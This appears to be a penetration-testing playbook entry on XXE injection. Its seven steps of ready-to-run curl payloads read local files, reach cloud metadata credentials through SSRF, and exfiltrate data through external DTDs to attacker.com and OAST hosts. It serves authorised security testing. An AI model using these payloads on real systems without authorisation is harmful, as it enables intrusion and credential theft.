{
  "slug": "xxe-testing",
  "title": "XML External Entity (XXE) Injection",
  "phase": "Exploitation",
  "description": "Test for XXE vulnerabilities to read local files, perform SSRF against internal services, and exfiltrate data through classic, blind, and error-based external entity injection.",
  "difficulty": "high",
  "tags": [
    "exploitation",
    "xxe",
    "xml",
    "file-disclosure",
    "ssrf",
    "oob"
  ],
  "tools": [
    "Burp Suite",
    "XXEinjector",
    "interactsh",
    "curl"
  ],
  "steps": [
    {
      "id": "xxe-01",
      "title": "Identify XML input vectors",
      "description": "Map every place the application parses XML, including SOAP endpoints, REST bodies with XML content types, file uploads that embed XML (SVG, DOCX, XLSX, PPTX), and SAML assertions.",
      "commands": [
        "curl -sk -X POST 'https://target.com/api/user' -H 'Content-Type: application/xml' --data '<?xml version=\"1.0\"?><user><name>test</name></user>'",
        "printf '<?xml version=\"1.0\"?><svg xmlns=\"http://www.w3.org/2000/svg\"><text>x</text></svg>' > test.svg",
        "curl -sk -F 'file=@test.svg' 'https://target.com/upload'"
      ],
      "notes": "Many JSON APIs silently fall back to an XML parser when you flip the Content-Type header. Office documents (DOCX, XLSX, PPTX) are ZIP archives of XML — unzip, inject into document.xml, and re-zip."
    },
    {
      "id": "xxe-02",
      "title": "Confirm classic in-band XXE for local file read",
      "description": "Define an external entity referencing a local file and reflect it in a response field to read arbitrary files from the server.",
      "commands": [
        "curl -sk -X POST 'https://target.com/api/parse' -H 'Content-Type: application/xml' --data '<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><root><data>&xxe;</data></root>'",
        "curl -sk -X POST 'https://target.com/api/parse' -H 'Content-Type: application/xml' --data '<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=/etc/passwd\">]><root><data>&xxe;</data></root>'"
      ],
      "notes": "In-band XXE requires the entity value to be echoed back somewhere in the response. If the target reflects one of the XML fields, inject the entity into exactly that field."
    },
    {
      "id": "xxe-03",
      "title": "Escalate XXE to SSRF against cloud metadata",
      "description": "Point the external entity at internal HTTP services and cloud metadata endpoints to pivot from file read to internal network access and credential theft.",
      "commands": [
        "curl -sk -X POST 'https://target.com/api/parse' -H 'Content-Type: application/xml' --data '<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\">]><root><data>&xxe;</data></root>'",
        "curl -sk -X POST 'https://target.com/api/parse' -H 'Content-Type: application/xml' --data '<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"http://127.0.0.1:8080/\">]><root><data>&xxe;</data></root>'"
      ],
      "notes": "XXE-to-SSRF is often higher impact than the file read itself. Check whether the parser follows HTTP redirects, which can help you reach IMDSv2 or bypass scheme restrictions."
    },
    {
      "id": "xxe-04",
      "title": "Detect blind XXE with out-of-band callbacks",
      "description": "When no entity is reflected, use an external DTD hosted on your server plus an OAST endpoint to confirm the parser resolves external entities.",
      "commands": [
        "interactsh-client -v",
        "printf '<!ENTITY %% file SYSTEM \"file:///etc/hostname\">\\n<!ENTITY %% eval \"<!ENTITY &#x25; exfil SYSTEM &#x27;http://<oast-id>.oast.pro/?x=%%file;&#x27;>\">\\n%%eval;\\n%%exfil;' > evil.dtd",
        "curl -sk -X POST 'https://target.com/api/parse' -H 'Content-Type: application/xml' --data '<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY %% xxe SYSTEM \"http://<oast-id>.oast.pro/evil.dtd\"> %%xxe;]><root>x</root>'"
      ],
      "notes": "Blind XXE is common when the parser suppresses output. A DNS or HTTP hit on your OAST server confirms external entity resolution even when nothing is reflected in the response."
    },
    {
      "id": "xxe-05",
      "title": "Exfiltrate file contents via parameter entities",
      "description": "Use nested parameter entities in an external DTD to smuggle the contents of local files into an OOB request, bypassing in-band restrictions on general entities.",
      "commands": [
        "printf '<!ENTITY %% file SYSTEM \"php://filter/convert.base64-encode/resource=/etc/passwd\">\\n<!ENTITY %% eval \"<!ENTITY &#x25; exfil SYSTEM &#x27;http://attacker.com/?data=%%file;&#x27;>\">\\n%%eval;\\n%%exfil;' > evil.dtd",
        "python3 -m http.server 80",
        "curl -sk -X POST 'https://target.com/api/parse' -H 'Content-Type: application/xml' --data '<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY %% remote SYSTEM \"http://attacker.com/evil.dtd\"> %%remote;]><root>x</root>'"
      ],
      "notes": "Parameter entities (%name;) are allowed inside DTDs even when general entities are blocked. Base64-encode the target file with php://filter so newlines and XML metacharacters do not corrupt the exfil URL."
    },
    {
      "id": "xxe-06",
      "title": "Extract data through error-based XXE",
      "description": "When there is no OOB channel, force the parser to include file contents in an error message by referencing a nonexistent file path built from the target data.",
      "commands": [
        "printf '<!ENTITY %% file SYSTEM \"file:///etc/passwd\">\\n<!ENTITY %% eval \"<!ENTITY &#x25; error SYSTEM &#x27;file:///nonexistent/%%file;&#x27;>\">\\n%%eval;\\n%%error;' > evil.dtd",
        "curl -sk -X POST 'https://target.com/api/parse' -H 'Content-Type: application/xml' --data '<?xml version=\"1.0\"?><!DOCTYPE root [<!ENTITY %% remote SYSTEM \"http://attacker.com/evil.dtd\"> %%remote;]><root>x</root>'"
      ],
      "notes": "Error-based exfiltration works when the application returns verbose XML parser errors. The file contents appear inside the \"failed to load external entity\" message because the parser embeds your path in the error."
    },
    {
      "id": "xxe-07",
      "title": "Inject XXE via XInclude when you do not control the document",
      "description": "When the server embeds your input into a larger XML document you cannot fully control, use XInclude to pull in local files without declaring a DOCTYPE.",
      "commands": [
        "curl -sk -X POST 'https://target.com/api/search' -H 'Content-Type: application/x-www-form-urlencoded' --data 'q=<foo xmlns:xi=\"http://www.w3.org/2001/XInclude\"><xi:include parse=\"text\" href=\"file:///etc/passwd\"/></foo>'"
      ],
      "notes": "XInclude does not require a DOCTYPE, so it works when the surrounding document is generated server-side and you only control one element. Try parse=\"text\" to read files that are not well-formed XML."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/xxe",
    "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing",
    "https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html",
    "https://github.com/enjoiz/XXEinjector",
    "https://portswigger.net/web-security/xxe/blind"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-07-05"
}